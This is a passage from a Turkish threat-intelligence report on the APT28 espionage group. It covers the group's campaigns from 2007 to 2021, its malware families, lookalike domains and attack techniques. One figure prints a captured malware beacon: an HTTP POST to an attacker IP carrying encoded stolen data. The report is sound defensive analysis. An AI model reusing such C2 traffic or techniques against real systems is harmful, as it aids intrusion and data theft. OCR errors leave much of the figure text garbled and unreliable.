gi, dosya, kimlik bilgileri vb. toplamaya ve bunlari sizdir-
maya odaklanmistir.

ADVERSARY SPACE

Two separate Russian espionage groups

0 Leverages

o

Operational
Infrastructure

© Depioys 4

Operational
Infrastructure

NEUTRAL SPACE

Y

€ silently exfiltrates data

O leverages 4
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APT28, C++’a (CHOPSTICK), C# ve Delphi (Cannon
Trojan) gibi farkli programlama dillerinde yazilmis za-
rarli yazihmlar kullanmigtir. Zaman i¢inde farkl teknolo-
jiler, enfekte eden atak vektorleri, altyapl ve daha faz-
lasini denedigi igin grubun yaraticiig bunun da 6tesine
gecmektedir.

Ozetle APT28, tehlikeli bir gelismis kalici tehdit (APT)
olarak karsimiza ¢ikmaktadir. Tehdit aktérinin teknik
olarak son derece yetenekli oldugu ve sectigi hedeflerin
savunmasina uyum saglama yetenegine sahip oldugu
bilinmektedir. Genellikle 6nceki saldirlarda tanimlanan
teknikleri kullansa da yeni ¢ikan sifirinci giin zafiyetleri
ve araclari da kullandigi bilinmektedir.

SOURFACE downloader m C2 Server
Deploys 2nd stage droppers

2nd stage implant

Sekil 27: APT28 tarafindan kullanilan taktik ve teknikler.
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322
"ré:-'l- © Enables remate execution

X-Tunnel

Sekil 28: Hedef sistemlere siber saldir gerceklestirmek icin APT29 ve APT28 tarafindan kullanilan taktik ve teknikler.
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APT28 Etkinliginin Zaman Cizelgesi
1) 2007-2014

APT28 tarafindan gerceklestirilen aktivitelerde, jeopolitik
temali hedef odakl kimlik avi (spearphishing) kampan-
yalari hazirlanarak diinya ¢apinda ¢esitli hiikimetlere ve
siyasi kuruluglara dagitildigi tespit edilmistir. E-postala-
rn dosya eklerinin, grubun 6zel hazirlamis oldugu arka
kapisini (backdoor) ve bilgi ¢alan kéti amagh yazihim
“Sednit”i icerdigi tespit edilmistir.

APT28, 2007’de Rusya ile Estonya arasinda yasanan si-
yasi anlasmazliklardan sonra Estonyali siyasi partilere ve
hikimet web sitelerine yonelik saldiri diizenlenmesinde
gorev almistir’. Estonya hikiimetine karsi diizenlenen
ilk saldirlarin baslangigta hizmet disi birakma (DoS) ve
dagitik hizmet disi birakma (DDoS) saldirlari, website
defacements, e-posta spam génderme ve otomatik yo-
rumlarin génderilmesinden olustugu tespit edilmigtir.

Gergeklestirilen diger saldirlarin, koordineli olarak ve ge-
lismis siber saldirn vektorleriyle Estonya’daki kritik nok-
talan hedef aldigi tespit edilmistir. Alan Adi Sunucularn
(DNS), uluslararasi yénlendiriciler (international routers),
en blyUk servis saglayici Elion da dahil olmak (zere te-
lekomUnikasyon sirketlerinin ag digumleri (network no-
des), devlet veri iletisim agi, Glkenin en blylk iki bankasi
(Hansapank ve SEB Eesti Uhispank) ve kamu kurumlari-
nin glvenlik duvarlari ile sunucularinin da hedef alindigi
tespit edilmigtir.

Saldirilar 6ncelikle bankacilik ve iletisim altyapisini etki-
lemigtir: Cevrimigi bankacilik hizmetlerine iki gunlik bir
stire boyunca higbir kullanici erisememistir. DNS hizmet-
lerinin devre disi kalmasina ve (¢ mobil iletisim operat-
rinuin hizmetlerinin durmasina sebep olmustur.

Pederal Protective Service of
FSI]) the Russian Federation
T SPETSSWAZ

Tha FECV 5

Main Intelligence Direclorate
o ol the General Stalf of the
Armed Forces of the
GRU | Russizn Federstion

Foreign Intelligence Service of
the Russian Federation
e S :

fith DIRECTORATE

Sekil 29: Rus siber casusluk/saldiri aktorleri.

7  https://www.iss.europa.eu/sites/default/files/EUISSFiles/CP_148.pdf
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APT 28’in 2008 yilinda Gurcistan’a yonelik siber saldi-
rilarda etkin rol oynadigi tespit edilmistir. Yizde 90’inin
devlet kurumlarina (gov.ge) ait oldugu tespit edilen 54
web sitesine yonelik bu saldirlarin dagitik hizmet digi
birakma (DDoS), website defacements, e-posta spam
gbénderme ve SQL enjeksiyonu oldugu tespit edilmistir.

APT 28’in, Gircistan igisleri Bakanligina yénelik en az iki
saldirn girisiminde bulundugu tespit edilmistir®. Gurcistan
Icisleri Bakanhgini hedef alinmasinin sebepleri sunlardir:

Kolluk kuvvetleri, i¢ glivenlik ve sinir devriyeleri,
Karsl istihbarat,

Terdrle micadele,

Uluslararasi iligkiler,

Gurcistan’in  stratejik tesislerinin  savunmasi ve
varlklari,

“Islemsel-Teknik” gorevler.

Glircistan icisleri Bakanligina yonelik ilk girisimde, APT28
Gurci ehliyet numaralarini iceren ancak iceriginde zararli
yazilim barindiran (EVILTOSS malware) bir Excel doku-
manini kullanmistir. Hazirlanan zararli yazihmin, hedef
varliklar Uzerinde arka kapi (backdoor) agmak amaciy-
la tasarlandii tespit edilmigstir. Arka kapinin, Glrcistan
icisleri Bakanhiginin kullandigi bir e-posta sunucusuyla
iletisim kurmaya ve “@mail.ge.gov” ile biten mail adres-
leri ile haberlesmeye calistigi tespit edilmistir. Bu taktikle
APT28’in, daha az izlenen bir rota tzerinden Grcistan
icisleri Bakanligi agindan veri kacirabildigi ve Gircistan
icisleri Bakanligi ag giivenligi biriminin trafigi algilama
yeteneklerini sinirlayabildigi tespit edilmistir.

ikinci saldin girisiminde, Windows etki alani “MIA
Users\Ortachala...” referanslarini iceren bilgi tekno-
lojisi temali zararli yazilim barindiran sahte bir belge

Windows XP bobgglioh @adgobio ©ifgsobdGongdob fabgbo

L. @ageoblisemambobitinls

2. Bygo@per\\ile01\SOFT\CS\Windows XPAWinXPUpdates

3. agsoblidsarmom gaems pebbangds

4. ageobldsermm ganers bsJofim Imgfisds (S MS Office, Adobe Acrobat, Codecs, Players

|
|

6. Domain user name s Domain computer name Sgnangbansg sbiqs Rabgson Sghabadols
hagabuemgpgfio MIA Users\Orachala. .. fofaamiqng Bgmbgagaio gemigoliob dmapogngas sk
ofiyfloggblh gmBlozhy

7. Bpoggor Computer Management Local users and Groups\Groups\ Aduinistrators

8. wogeif0mylrgor el Administrators xamralo Oygiborsns OTD Admins ge OTD IT Support
A230BI00

9. waatidnbege Gol Firewall Rsfomeeos @ Remote Desktop Sebolbmeo

10. @aefdbege Gl My Computer\Properties-8o Allow users to connect remotely to this
computer Beobodbemos

Windows 7 bobggdob @aigoblo pshgyodhohgbob Fobgbo

Sekil 30: APT 28 tarafindan Gurcistan icisleri Bakanligi saldirlarin-
da kullanilan zararl dokiiman igerigi.

8 https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
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kullanildigi tespit edilmistir. Belgedeki Windows etki
alani referansi i¢in Gurcistan’in baskenti Tiflis’in Orta-
chala semtindeki Giircistan Igisleri Bakanlidi tesisinin
referans alindigi tahmin edilmektedir. Ayrica, hazir-
lanan sahte belgenin ayni zamanda sirket adi olarak
“MIA” (Glrcistan icisleri Bakanligl) ve yazar olarak
“Beka Nozadze™yi listeleyen meta veriler icerdigi, Tif-
lis’teki bir sistem ydneticisinin olasi bir referans olarak
kullanildigi tespit edilmigtir.

2013’Un sonlarinda APT28’in bir gazeteciye ilk adiyla
hitap eden ve Reason Magazine'in “Kafkasya Sorun-
lari Departmani”’ndaki bir “Bas Koordinatér”in imzasi-
ni taslyan bir mektup iceren oltalama maili attigi tespit
edilmistir. (Reason Magazine ABD merkezli bir dergidir.)
Mektubun, s6z konusu Kkisiyi katkida bulunan bir kisi
olarak tanimladigi ve dergide yer verilmesi icin konuyla
ilgili fikirlerini ve kimlik bilgilerini istemekte oldugu tes-
pit edilmistir. Arka planda tuzak olarak hazirlanan sahte
belgenin, kurbanin sistemine bir SOURFACE arka kapl-
si yerlestirdigi tespit edilmistir. Kurbana gelen oltalama
maili incelendiginde, mektubun gdvdesi (body), APT28
aktérlerinin en az iki dili ~Rusca ve ingilizce— okuyabil-
digini gostermektedir. Mektubun dilbilgisi incelendigin-
de, ABD merkezli bir dergiden geldigi iddia edilmesine
ragmen, Ingilizcenin yazarin ilk dili olmadig tespit edil-
mistir. Gazetecileri hedef almanin, APT28’e kamuoyunu
izleme, muhalifleri belirleme ve yaniltici haberler yayma
imkani saglayabilecegi distinilmektedir. Cin ve iran da
dahil olmak Uzere bircok baska devletin faaliyetlerini

OCAK-MART 2022

izlemek icin gazetecileri ve muhalifleri hedef aldigindan
suphelenilmektedir.

APT28’in Dogu Avrupa hikiimet kuruluslarini hedef-
leyen en az iki girisimde bulundugu tespit edilmistir.
2013’Un sonlarinda meydana gelen bir olayda, Ukrayna
Disisleri Bakanhginda bulunan, bilinen bir Ureticiye ait
glivenlik cihazi, miusterisinin aginda APT28 k&t amag-
I yazihmi (CORESHELL) tespit etmistir. APT28‘in 2014
yilinda Polonya HikUmetini hedef alan bir dizi girisimde
bulundugu da ortaya cikmistir. APT28’in, Dogu Avrupa
haber sitelerine ve hikimetlere benzer alan adlarina sa-
hip oldugu tespit edilmistir. Bu alan kayitlari, APT28’in
dogrudan Dogu Avrupa hikimetlerini hedef aldigini
g6stermektedir.

Ek olarak, APT28’in komuta ve kontrol oturumlari igin
Baltic Host tatbikatlarindan sonra baltichost[.Jorg alan
adini kullandidi tespit edilmistir. APT28’in bu tir hedefler
se¢cmesinin, potansiyel olarak bdlgesel askeri yetenek-
ler ve iligkilerle ilgili hassas taktik ve stratejik istihbarat
saglamakla gorevli oldugunu gosterdigi distiniimekte-
dir. APT28’in, NATO’nun doguya dogru genislemesini
Rusya’nin stratejik istikrari i¢in bir tehdit olarak gérmek-
te oldugu, bu sebeple NATO Ozel Harekat Karargahi ve
NATO Gelecegin Kuvvetleri Sergisi de dahil olmak tizere
taklit NATO alan adlarini kullandigi tespit edilmistir. NATO
Karargahi icin gcalistiindan stiphelenilen bir kullanicinin,
muhtemelen sipheli bir e-posta almasi nedeniyle Virus-
Total’a bir APT28 6rneg@i gonderdigi aragtirmacilar tara-
findan tespit edilmistir.

We wish our cooperation will be both profitable and trusted. Our aim in the Caucasian region is
to help people who struggle for their independence, liberty and human rights. We all know, that
world is often unfair and cruel, but all together we can make it better.

Send your articles on this email - in Russian or English, please. There are some difficulties with
Caucasian languages, but we'll solve the problem pretty soon, | hope.

Sekil 31: APT28’in Kafkasya ile ilgili konularda yazan bir gazeteciye yazdigi mektuptan alinti.

APT28 Domain Real Domain

standartnevvs[.]Jcom

Bulgarian Standart News website (standartnews.com)

novinitie[.Jcom, nlvinite[.Jcom

Bulgarian Sofia News Agency websits (novinite.com)

gov[.]Jhu[.Jcom

Hungarian government domain (gov.hu)

q0v[.]pl, mail[.Jg0v[.]p!

Palish government domain (gov.pl) and mail server domain (mail.gov.pl)

poczta.mon[.]JqOvl.]pl

Palish Ministry of Defense mail server domain (poczta.mon.gov.pl)

Sekil 32: Dogu Avrupa’daki bazi kurum alan adlarini taklit eden 6érnek APT28 alan adlari.
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APT28 Domain

N

Real Domain

nato.nshgl.Jin

NATO Special Operations Headquarlers (nshg.nato.int)

natoexhibitionff14[.]Jcom

MATO Future Forces 2014 Exhibition & Conference (natoexhibition.org)

login-oscel.]Jorg

Organization for Security and Cooperation in Europe (osce.org)

Sekil 33: NATO alan adlarini taklit eden érnek APT28 alan adlari.
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Sekil 34: APT28 tarafindan hazirlanan “Ankara Askeri Atase Kolordusu” isimli sahte dokiiman.

APT28’in, Turkiye’de gorevli askeri ataselerin halka acgik
olmayan iletisim bilgilerinin bir listesini iceren sahte bir
dokiiman hazirladi§i ve bunu askeri ataselerin profes-
yonel bir drgutinin “Ankara Askeri Atase Kolordusu
(Ankara Military Attaché Corps/AMAC)” resmi listesi gibi
gosterdigi tespit edilmistir. Dokiimanin icine CHOPS-
TICK ve CORESHELL zararli yaziimlarinin gizlendigi
belirlenmistir.

2) 2015-2017

2015’te APT28 grubunun, Adobe Flash’ta kesfedilen si-
firnci gin agigindan yararlandigi (CVE-2015-3043) ve
ayni dénemde Microsoft cihazlarda ayricalik yikseltme-
yi gerektiren sifirnci giin agigini (CVE-2015-1701) kul-
landig tespit edilmistir. S6mUrl akisi asagidaki sekilde
gerceklesmektedir:

Kullanici, saldirgan kontroliindeki web sitesi linkine
tiklar.

HTML/JS baglatilari, Adobe Flash’in sémurisini
(exploit) tetikler.

Adobe Flash sémiri kodu, CVE-2015-3043 acigini
tetikleyerek kabuk kodunu (shellcode) calistirir.

Kabuk kodu (shellcode), calistirilabilir ylki (payload)
indirir ve galistinr.

Calistinlabilir yUk, system token elde etmek icin yerel
ayricalik yUkseltme yapmak i¢cin CVE-2015-1701 sifi-
rinci gun agigint sémardr.

Grubun 2015 yilinda gerceklestirdigi aktiviteler arasin-
da I0S cihazlari hedef alan SEDNIT koétl amach yazihmi
(malware) ile benzerlik gdsteren iki farkli yazihm gelistir-
digi tespit edilmistir. Bu zararli yazilimlardan ilki XAgent
(IOS_XAGENT.A) olarak, digeri de bir iOS oyunu olan Ma-
dCap (I0OS_ XAGENT.B) olarak adlandiriimistir. Grubun
bu yazilimlar araciligiyla kisisel verileri, mesaj iceriklerini,
cografi konum verilerini, cihaz Gzerinde yUkli uygulama-
larin listesini, Wi-Fi durumunu ve ekran gérinttsi almayi
ve ses kaydetmeyi amagcladigi tespit edilmistir®.

9 https://www.trendmicro.com/en_us/research/15/b/pawn-storm-update-ios-espionage-app-found.htmi
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7] = [Reachability reachabilityForlntermetComection] 7] - IReachability jonRey
£1 +[Reachability reachabilityForLocalWiFi] (- ity currentR
f| +[Reachability reachabilityWithAddress:] 1| -[Reachability dealloc]
7 +[Reachability reschabilityWithHostName:] Z [Reachability localWiFiStatusForFlags:]
| +ISCRFTPRequest initialize] 7 -[Reachability networkStatusForflags]
f1 +[SCRFTPRequest requestWithURL:toCreateDirectory:] /| -[Reachability startNotifier]
71 +[SCRFTPRequest requestWithl Ri:toDx ile:) L1 - [Reachabifity stoputifics]
£ +ISCRFTPRequest requestWithURL:toUploadFile:] L1 ] ~|RecordVoice .cxx_destruct]
_f] +[SCRFTPRequest sharedRequestQueue] L -[RecordVoice StartRecord:]
f| -[Photolibrary .cx_destruct] L =[RecordVoice datestring]
7] -[Photolibrary allPhotosCollected:] £ -[RecordVoice getRecordFile-file_path:]
71 -[Photolibrary buildMsq:size:cmdld:] £ -[RecordVoice record:]
7] -[Photolibrary datelmage] /| -[RecordVoice recordCall]
7] -[Photolibrary getAlPicturePhotolibrary] S ~[RevondVuice startAudiSession]
'] -[Photolibrary getAllPicturcs] f| -IRecordVoice stooRecordCalll
- (7] -i6eoLocation .cox_destruct]
F| ~|Geclocation Currentlocation]
7] [Geelocation currentlocation]
7 -IGeclocation locationManager]
7] ~IGeoLocation setCurrentlocations]
7

-|Geolocation setlocationManagers]

Sekil 35: APT28 tarafindan gelistirilen XAgent zararll yaziiminin
kod yapisi.

2016’da APT28 grubunun, bir ABD devlet kurumuna
baska bir Ulkenin Digisleri Bakanligi'na ait e-posta ad-
resini kullanarak hedef odakli oltalama (spear-phishing)
maili génderdigi tespit edilmistir. Génderilen e-postanin
konusu, ABD ile Gircistan arasinda dizenlenen NATO
egitimini konu alan “FW: Exercise Noble Partner 2016”
igerigi oldugu tespit edilmistir. E-postanin ek olarak, ayni
egitim tatbikatini yansitan “Exercise_Noble_Partner_16.
rtf” dosya adina sahip bir RTF dosyasini ve Rus askeri
temasi bulunan dosya adlarina sahip ilgili teslimat belge-
lerini icerdigi tespit edilmistir (Putin_Is_Being_Pushed_
to_Prepare_for_War.rtf ve Russian anti-Nato troops.rtf).
Gonderilen ekteki RFT uzantili dosyalarin, “btecache.dll”
ve “svchost.dll” olmak Uzere zararl iki dosyay! sisteme
birakmak icin CVE-2015-1641’den yararlanmaya calisan
Ozel hazirlanmis sahte belgeler oldugu anlasiimistir™®.

2017°de APT28 grubunun, otel Wi-Fi aglarnni kullana-
rak is seyahatinde olan Bati hikUmetleri ¢alisanlarinin

POST /d/eTZWLQ/CI74.pdf/?w=VhUEt@ry19xMsdvralrhlnLzmv5ZsIM= HTTP/1.1
User-Agent: Mozilla/4.@ (compatible; MSIE 7.8; Windows NT 6.1; WOW6E4;
Trident/4.8; SLCC2; .NET CLR 2.@.50727; .NET CLR 3.5.38729; .NET CLR
3.9.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4,9E)
Host: 191.101.31.6

Content-Length: 798

Cache-Control: no-cache

rFEEt9aEytnHz4+GxqDUgPLG+06D9d Y 16bzz5X1xs6126nug,/XX2eMBNCI9Y3Y
guOp3on@BM7U49vYBPHK@5PoysnU49vYBOXQz4nljdiC46nKk+jP@p3pzZ0f/sa3
iePRySPLxs7U49vYB0rQ3InljdiC4onRieuN2ILjqcGMScvSifiNZILjqcbM5cvs
ifKN2ILjqc6MS5cvSifKNZIL]qeEM5cvSifiNZILjqeBM5evSifiN2ILjqeEM5evs
ifKNZ2ILjgceMScvSifKN2ILjqebKeczRiTINZIL]qebM5cvSifKNZIL gocmb9ciV
LEXXk5/+xreP9cbPk+jKydTj 29 jw4t TQ10Pb2PDj 2B2W6dHY 1KjGx Z+MOMuZ 7520
iqiGxZ+MwNCegMbFnd4zABpTuZME0gMbFndzR2Ivixs+19c+Tn/ 76t 4nwwiNWV9deT
nf76t5nrx50f /sa3menN1ZX1150f/sa3qePCz5nubt0e49vY iKjGxZ+H18NibMDV
quTMyZX1zNGy6dD]10Pb2POVxtyIScvTk+rX21j0zMB0qMbFndzw2 JvBwiiwg9Mzd
1e¥MBbLpeMnUASVYBOPbzZbpBdilgMbFnd20ySnuzME0gMbFndz0ySnuzME0gMbF
ndzH1IntnvS+w//5k/XIBLved/Ko2evBgMLNIKnN/OK12fzipdnB4qXZ /0K12fz1i
pdnB84gXZ/1/UtI2Mpdn84c+gkYriNtsKKm+CFidy2jY3Utqnfj+/P2ce224qZ58KN
niea

Sekil 36: APT28 tarafindan hazirlanan “svchost.dll” zararl yazili-
mindan génderilen network beacon.
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HOTEL RESERVATION WITH GUARANTEE

Hotel name :

Guest name :

Guest nationality :
RESERVATION INFO:
|Nurnner of guests -
Number of rooms :
Room Type:

Check in date :
Check outdate :
Credit Card Information
Card type :

Card number :

Expiry date (mm/yy):

|

!

| f1
Cardholder's name : I
Cardholder's address

FRONT COPY OF YOUR HACK COPY OF YOUR
CREDIT CARD ( musl Lo be provided acoording| CREDIT CARD ( rwst tu be provided according
to the hotel) to the hotal)

| agree that one night room rate in fair penod compensation per room will be charged for amendment or
cancellation once reservation confirmed and one night room rate in fair penod penalty per room will be
charged for no show or eary check out

. Signature:( same as appears on
card) Cwritten by hand date:

"“Your Passport Number:
Your Email Address:

'Your Fax Number:

[Your Telephone Number:

Sekil 37: APT28 tarafindan hazirlanmis “Hotel_Reservation_Form.
dcom” isimli word belgesi.

kisisel bilgilerini (kullanici adi ve parola) calmaya calistig
ve daha sonra kurumsal aglarina sizmaya calistigi tes-
pit edilmistir. Grubun saldirnyi gerceklestirmek igin zararli
yazilim barindiran (GAMEFISH malware) sahte otel rezer-
vasyon belgesini indirmeleri i¢in otel ¢alisanlarina hedef
odakli oltalama maili gdnderdigi tespit edilmigtir'*1213,

3) 2018-2021

2018’de APT28’in, Zebrocy adi verilen zararli yaziim aile-
sini kullandig tespit edilmistir. Zebrocy, Delphi ve Autolt
ile yazilmig indiriciler (downloaders) ve arka kapilardan
(backdoors) olugan kétl amagl yaziim ailesi olarak tanim-
lanmigtir. APT28 tarafindan gelistiriimis olan Zebrocy’nin
hedef aldigi Ulkeler arasinda Azerbaycan, Bosna Hersek,
Misir, Giircistan, iran, Kazakistan, Kore, Kirgizistan, Rus-
ya, Suudi Arabistan, Sirbistan, isvigre, Tacikistan, Turki-
ye, Turkmenistan, Ukrayna, Uruguay ve Zimbabve’'nin
bulundugu tespit edilmigstir. Bu Ulkelerin blyUkelgilikleri,
disigleri bakanliklari ve diplomatlarina yonelik saldirlar

10 https://unit42.paloaltonetworks.com/unit42-new-sofacy-attacks-against-us-government-agency/

11 https://www.mandiant.com/resources/apt28-targets-hospitality-sector-presents-threat-travelers

12 https://blog.xpnsec.com/apt28-hospitality-malware/
13 https://blog.xpnsec.com/apt28-hospitality-malware-part-2/
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dlzenlendigi tespit edilmistir'4. Sonraki yillarda grubun
Zebrocy zararli yaziim ailesini gelistirmek igin go, .Net,
VBA (Visual Basic for Applications), C# ve powershell bi-
lesenlerini kullandigi tespit edilmistir. Zebrocy zararli yazi-
Iim ailesine ait detayll inceleme STM zararl yazilm ana-
listleri tarafindan yapilmis ve raporlanmistir'®.

ATTACK
METHODS

Email DealersChoice
attachment

FIRST-STAGE
Delphi
MALWARE Eatier

Seduploader
dropper

Auroit
downloader

Sedupboader
payload

Delphi
backdoor

SECOND-STAGE
MALWARE

Xagent

PIVOT
MALWARE

xrunnal

Sekil 38: Zebrocy zararli yazim ailesinin ¢alisma yapisi.

APT28 grubunun 5-7 Mart 2019 tarihlerinde Southamp-
ton, ingiltere’de gerceklesen Sualt Savunma ve Giivenlik
2019 (Underwater Defence & Security 2019 event) et-
kinliginin katiimcilarini ve sponsorlarini hedef aldigi tes-
pit edilmistir. Arastirmacilar Sualti Savunma ve Glvenlik
2019 (Underwater Defence & Security 2019 event) etkin-
ligini konu alan makro iceren sahte bir Microsoft Word
dokimani kesfetmistir. Belgenin, APT28 tarafindan gelis-
tiriimis SedUploader’in bir versiyonu olan DLL dosyasini
birakmak icin olusturuldugu tespit edilmistir®.

2020’de grubun COVID-19 agilan ve ilgili ilaglarla il-
gili arastirma yiruten yedi sirketin aktif ¢alisanlarinin
e-posta kimlik bilgilerini ¢almak icin parola puiskirtme
(password spray) ve kaba kuvvet (brute force) saldirilar
gerceklestirdigi tespit edilmistir. Sonrasinda grubun iki
hafta icinde 28 farkli kurulusa ait 6.912 hesabi hedef al-
dig1 tespit edilmistir'”. Grubun ayni yil icinde NATO Uyesi
Ulkeleri hedef alan oltalama kampanyalari ve COVID-19
senaryolu hedef odakli oltalama saldirilariyla Zebrocy’nin
yeni varyantlarini kullandigi tespit edilmistir'.
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UNDERWATER ﬁ
DEFEMCE & SECURITY !.kl
o ele— <]

WELCOME NOT

=

From Our Conference Chainman

s, Bl ERsry FEEHRES, &

searchconducted, 8 variety of challenges faced by the international community have

Sekil 39: APT28 tarafindan hazirlanmis “UDS 2019 Current Agen-
da.doc” isimli makro igeren Word belgesi igerigi.

2021 yilinda APT28 grubunun Kazakistan’i hedef alan
saldinda zararli yaziim (Delphocy) iceren sahte Word
belgeleri (ABaHcoBbin oOT4YeT(HOBbIV).doc ve ®opma
doknagHon (cny>xebHown) 3anucku.doc) kullandigr tespit
edilmistir. Grubun, dinyanin en blylk krom cevheri ve
ferroalyaj Ureticilerinden biri olan “Kazchrome” adl Ka-
zak madencilik sirketini hedef aldigi distinilmektedir'®.

Avg # Of IPs Utilized for Auth

Taaling Operatin
9m 9 Attempts Per Account Per

Avg #8 of Attempts Avg Length of

Mode Par Account Per Hour Attack

Hour

Sekil 40: APT28 grubunun 2020 yilinda parola ele gegirmek igin
dizenledigi saldirilarin verileri.

Bremt ot =[S

Frepanas ®

Sekil 41: APT28 tarafindan hazirlanan makro iceren zararl Word
belgesi.

14 https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/

15 Zebrocy Zararli Yazilim Analizi

16 https://www.accenture.com/t20190213T141124Z w__/us-en/ _acnmedia/PDF-94/Accenture-SNAKEMACKEREL -Threat-Campaign-

Likely-Targeting-NATO-Members-Defense-and-Military-Outlets.pdf

17 https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/

18 https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/

19 https://www.sentinelone.com/labs/a-deep-dive-into-zebrocys-dropper-docs/
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Tehdit Analizi
Taktik, Teknik ve Prosediirler

APT28 grubu ile ilgili tespit edilen Taktik, Teknik ve Pro-
sedUr (TTP) kategorileri asagidaki gibidir:

ilk Erisim

APT28, guvenlik ihlaline sebep olmak icin ilk saldir vek-
tort olarak hedef odakli kimlik avi (spearphishing) kul-
lanmistir. Baglangigta bu, ilk kurbanlara sémirQ igeren
dosyalari teslim etmek icin bir ek dosya veya baglanti
icermektedir. Yakin zamanda grubun parola puskirtme
(password spray) ve kaba kuvvet (brute force) saldirilari
gerceklestirdigi bilinmektedir.

Calistirma (Execution)

APT28, hedeflenen ortamlarda kétu amagh yazilm bi-
lesenlerini ve eklerini indirmek ve ¢alistirmak igin ¢esitli
yontemler kullanmigtir. Xagent gibi bilesenler, uzaktan
kod calistirmak icin yerlesik yetenekler icermektedir.
Caligtinlabilir dosyalar da py2exe kullanilarak Python
betiklerinden olusturulmustur. Zararli kodu yerel olarak
calistirmak icin kullanilan diger yéntemler arasinda NS-
Task:launch, rundlli32.exe kullanimi ve c¢ekirdek es za-
mansiz proseduir ¢agrisi (kernel asynchronous procedu-
re call/APC) enjeksiyonu gibi daha az bilinen teknikler
yer almaktadir. CVE-2010-3333, CVE-2012-0158, CVE-
2013-1347, CVE-2013-3897, CVE-2014-1761, CVE-
2014-1776, CVE-2015-2590, CVE-2015-4902, CVE-
2015-7645 gibi zafiyetler de kullaniimistir.

Kalicihik

APT28, hedef sistemlerde kaliciligi saglamak amaciyla
Kayit Defteri Calistirma Anahtarlan (registry run keys)
veya AutoStart genigletilebilirlik noktalar (AutoStart ex-
tensibility points/ASEP) kayit defteri girdileri, kabuk sim-
gesi bindirme igleyicileri ve Office Test yontemi olarak
adlandirilan bir yéntem kullanmistir. OAuth (acik stan-
darth bir yetkilendirme protokoltidir) tabanli hedef odakli
kimlik avi (spearphishing) saldirilarinda, OAuth belirteci
(token) gecerli kalmakta ve etkilenen kullanicinin parola-
s1 degigtirilse bile tehdit aktdért oturum sonlandirilana ka-
dar e-posta hesabina tam erisim saglamaktadir. E-posta
hesaplarina yonelik diger hedef odakl kimlik avi (spe-
arphishing) saldirlarinda, etkilenen kullanicinin parolasi
degistirildikten sonra bile tehdit aktoriiniin e-posta iceri-
gine kalici erisim saglamak icin bir e-posta yénlendirme
adresi kullandigi tespit edilmistir.

Ayricalik Yikseltme

APT28’in, kimligi dogrulanmamis bir saldirgana sistem
ayricaliklan saglayan diger dahili sistemlerdeki ayrica-
liklan uzaktan yikseltmek i¢cin MS17-010 EternalBlue
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(CVE-2017-0143, CVE-2017-0144, CVE-2017-0145,
CVE-2017-0146, CVE-2017-0147, CVE-2017-0148),
MS14-070 (CVE-2014-4076), MS15-051 (CVE-2015-
1701), MS15-077 (CVE-2015-2387), Win32k Elevation of
Privilege Vulnerability (CVE-2017-0263) gibi somdurileri
ve “Windows, Mac OS, Linux ve Chrome OS” sistem-
lerinde istege bagl kod c¢alistinimasina yol acabilecek
Adobe Flash gulvenlik agigi olan CVE-2017-11292'yi
kullandigi tespit edilmistir.

Savunmadan Kaginma

APT28’in dnceliginin yaptigi faaliyetleri gizlemek olmadi-
g1 bilinmektedir. Grubun saldiri altyapisi icin ayni hizmet
saglayicilari (service providers) yeniden kullanmasi buna
ornek olarak gdsterilebilir. Ancak grup tarafindan gelisti-
rilen zararli yazihmlardan bazilari (CHOPSTICK ve EVIL-
TOSS gibi) belirli u¢ nokta guvenlik (endpoint security)
artnlerinin varligini kontrol eder, kilitlenme raporlamasi,
olay gunligu ve hata ayiklama gibi olasi adli nesnelerin
olusturulmasini devre digi birakir ve/veya kaldirir. Bazi
kétl amach yazilim bilesenlerinin dosyalari silmek igin
belirli fonksiyonlari vardir (NSFileManager:removeFileAt-
Path yéntemi kullandidi bilinmektedir) ve toplanan veriler
yuklendikten sonra kaldirilir, ayrica tespit edilmeyi 6nle-
mek icin dosyalarin zaman kayitlar degistirili. APT28’in
ayrica bir Kullanici Hesabi Denetimi (User Account Cont-
rol/UAC) atlama teknigi kullandidi da bilinmektedir.

Kimlik Bilgileri Erigsimi

Kimlik bilgilerinin alinmasi, APT28 saldirilarinda énem-
li bir rol oynamistir. Hedefe yonelik kimlik avi saldirilari,
disaridan erisilebilen web posta ortamlari (Outlook OWA
gibi) ve VPN erisimi icin gerekli kimlik bilgilerini (kullanici
adi ve parolasi gibi) elde etmek igin kullanilmistir. Harici
olarak erigilebilen web postasi ve ydnetim arayuzlerine
erisim, gizli bilgileri dogrudan toplamak ve sizdirmak
veya ek hedefler belirlemek icin kullanilabilir. Edinilen
VPN kimlik bilgileri, APT28’e bir hedef aga uzaktan eri-
sim saglamistir.

Guvenligi ihlal edilmis sistemlerde, diiz metin kimlik bil-
gilerine erisim elde etmek igin farkl teknikler kullaniimig-
tir. Bu teknikler arasinda, sistem diizeyinde erisim gerek-
tiren Windows coklu oturum agma parolalarini bellekten
almak icin mimikatz aracinin &zel bir varyanti kullanil-
mistir. Tarayicilar ve e-posta istemcileri gibi uygulamalar
tarafindan saklanan kimlik bilgilerini, bazi kéti amagcli
yazihm bilesenleri tarafindan da toplamiglardir. Hedefle-
nen aglarda, Responder araci, kullanici adlarini ve parola
karmalarini almak icin NetBios Ad Hizmeti (NBNS) yanit-
larini yaniltmak igin kullaniimigtir.

Kesif

APT28 tarafindan etkilenen sistemlere dagitilan ilk
asama kéti amacl yazilim (Delphi downloader, Autolt
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downloader, Delphi backdoor), kesif amach kdti amagh
yazilim gdrevi gorur. Bu bilesenlerin, asagidaki kesif tek-
niklerini kullandigi tespit edilmistir:

Fiziksel Konum (Physical Location),
islem Kesfi (Running Process Discovery),

Guvenlik Yazilimi Kesfi (Endpoint Security Software
Discovery),

Hesap Kesfi (Account Discovery),
Sistem Zamani Kesfi (System Time Discovery),

Uygulama Penceresi Kesfi (Application Window
Discovery),

Sistem AgJl Yapilandirma Kesfi (System Network
Configuration Discovery),

Dosya ve Dizin Kesfi (File and Directory Discovery)

Sistem Sahibi/Kullanici Kesfi (System Owner/User
Discovery),

Sistem Bilgileri Kesfi (System Information Discovery).

Yanal Hareket

APT28’in, hedef ortamlarda yanal hareket (lateral move-
ment) icin kullandigi teknikler sunlardir: WinExe (uzak-
tan komut satir (command-line) ¢calistirma) gibi araclarin
